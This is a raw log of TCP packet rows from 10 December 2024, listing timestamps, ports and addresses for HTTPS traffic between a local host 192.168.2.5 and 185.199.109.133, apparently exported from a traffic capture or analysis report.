Dec 10, 2024 07:35:31.592888117 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.624722004 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.624748945 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.624906063 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.624924898 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.624974966 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.625524998 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.625545025 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.625603914 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.625617981 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.625653028 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.629062891 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.629082918 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.629149914 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.629157066 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.629193068 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.633160114 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.633183956 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.633248091 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.633253098 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.633286953 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.642040014 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.642066002 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.642129898 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.642136097 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.642173052 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.699541092 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.699574947 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.699626923 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.699656963 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.699675083 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.699696064 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.715903997 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.715925932 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.715976954 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.716006041 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.716033936 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.716109991 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.724549055 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.724575043 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.724700928 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.724725008 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.724766970 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.729456902 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.729558945 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.729568005 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.729618073 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.734365940 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.734397888 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.734441042 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.734447956 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.734467983 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.734484911 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.734493017 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.734500885 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.734513998 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.734534025 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.734564066 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.734564066 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.738905907 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.738926888 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.739020109 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.739029884 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.739068985 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.743788958 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.743835926 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.743865967 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.743874073 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.743895054 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.743911982 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.748524904 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.748538971 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.748616934 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.748621941 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.748661041 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.752686024 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.752707005 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.752799034 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.752818108 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.752861023 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.771186113 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.771209002 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.771308899 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.771325111 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.771369934 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.789716959 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.789742947 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.789880037 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.789899111 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.789944887 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.790734053 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.790756941 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.790817022 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.790831089 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.790859938 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.790877104 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.797557116 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.797574043 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.797683001 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.797688961 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.797741890 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.805066109 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.805087090 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.805203915 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.805208921 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.805263042 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.812624931 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.812648058 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.812760115 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.812766075 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.812820911 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.816715956 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.816735029 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.816791058 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.816808939 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.816843987 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.816865921 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.819267035 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.819284916 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.819359064 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.819365025 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.819408894 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.821386099 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.821403027 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.821589947 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.821595907 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.821650028 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.826951981 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.826970100 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.827064037 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.827069998 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.827120066 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.834506035 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.834525108 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.834603071 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.834609985 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.834680080 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.842215061 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.842231989 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.842354059 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.842363119 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.842401981 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.202579021 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.202598095 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.202653885 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.202737093 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.202758074 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.202768087 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.202789068 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.202792883 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.202831030 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.203645945 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.203661919 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.203708887 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.203720093 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.203748941 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.204852104 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.204881907 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.204916000 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.204921961 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.204952955 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.205904961 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.205928087 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.205979109 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.206002951 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.206016064 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.206046104 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.207570076 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.207586050 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.207601070 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.207628012 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.207650900 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.207660913 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.207698107 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.207705975 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.207751989 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.208585978 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.208601952 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.208671093 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.208676100 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.208719969 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.209542036 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.209558010 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.209625006 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.209630966 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.209676981 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.211265087 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.211277008 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.211287975 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.211309910 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.211365938 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.211366892 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.211371899 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.211379051 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.211417913 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.213017941 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.213038921 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.213059902 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.213066101 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.213103056 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.213139057 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.214170933 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.214188099 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.214248896 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.214262962 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.215868950 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.215899944 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.215951920 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.215959072 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.215980053 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.215981960 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.215995073 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.216021061 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.216027975 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.216041088 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.216042042 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.216917038 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.216943979 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.217004061 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.217010975 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.217053890 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.217839956 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.217854977 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.217912912 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.217916965 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.217959881 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.219562054 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.219574928 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.219646931 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.219650030 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.219691038 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.219715118 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.219734907 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.219786882 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.219803095 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.219842911 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.221446991 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.221463919 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.221504927 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.221523046 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.221532106 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.221539021 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.221574068 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.221579075 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.221610069 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.221633911 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.223151922 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.223165989 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.223227024 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.223234892 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.223262072 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.223274946 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.224148989 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.224164963 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.224225044 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.224231005 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.224280119 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.225085974 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.225102901 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.225169897 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.225174904 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.225217104 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.226186037 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.226206064 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.226277113 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.226288080 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.227154970 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.227174997 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.227212906 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.227220058 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.227264881 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.228838921 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.228854895 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.228919983 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.228930950 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.229841948 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.229862928 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.229937077 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.229959011 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.230003119 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.230786085 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.230803013 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.230864048 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.230870008 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.230912924 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.231761932 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.231777906 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.231842041 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.231848001 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.231889009 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.232611895 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.232637882 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.232697010 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.232702971 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.232747078 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.233570099 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.233586073 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.233650923 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.233660936 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.233705044 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.234493017 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.234510899 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.234569073 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.234575033 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.234613895 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.236316919 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.236335993 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.236407042 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.236421108 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.236459970 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.237245083 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.237262011 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.237323999 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.237329960 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.237366915 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.238270998 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.238287926 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.238367081 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.238375902 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.238414049 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.239141941 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.239161015 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.239216089 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.239222050 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.239263058 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.240098953 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.240119934 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.240170956 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.240176916 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.240186930 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.240215063 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.241935015 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.241951942 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.241956949 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.241991043 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.242002010 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.242007971 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.242055893 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.242069960 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.242074966 CET	49770	443	192.168.2.5	185.199.109.133
